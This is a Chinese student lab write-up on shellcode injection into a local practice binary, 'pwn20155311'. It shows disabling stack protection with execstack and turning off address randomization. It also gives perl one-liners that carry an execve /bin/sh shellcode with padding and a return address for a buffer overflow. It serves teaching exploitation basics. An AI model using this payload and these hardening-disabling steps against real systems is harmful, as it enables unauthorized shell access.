20155311《網絡對抗》PC平臺逆向破解(二)
阿新 • • 發佈:2018-03-19
mark body echo pac apt ack 破解 運行 info
20155311《網絡對抗》PC平臺逆向破解(二)
shellcode註入
什麽是shellcode?
shellcode是一段代碼,溢出後,執行這段代碼能開啟系統shell。前期準備——安裝execstack,修改設置
輸入
設置堆棧可執行execstackapt-get install execstack
下載exectstackexecstack -s pwn20155311
看看堆棧是否可執行execstack -q pwn20155311
輸入
more /proc/sys/kernel/randomize_va_space
,查詢地址隨機化狀態(2表示開啟,0表示關閉),若是開啟狀態,則關閉地址隨機化echo "0" > /proc/sys/kernel/randomize_va_space
準備完畢,開始運行並gdb調試
輸入shellcode的內容perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
運行pwn20155311,輸入命令(cat input_shellcode;cat) | ./pwn20155311
通過設置斷點,來查看註入buf的內存地址
知道shellcode地址,所以修改為
perl -e ‘print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"‘ > input_shellcode
查看shellcode轉換進制內容
xxd input_shellcode
,並運行驗證是否成功(cat input_shellcode;cat) | ./pwn20155311
20155311《網絡對抗》PC平臺逆向破解(二)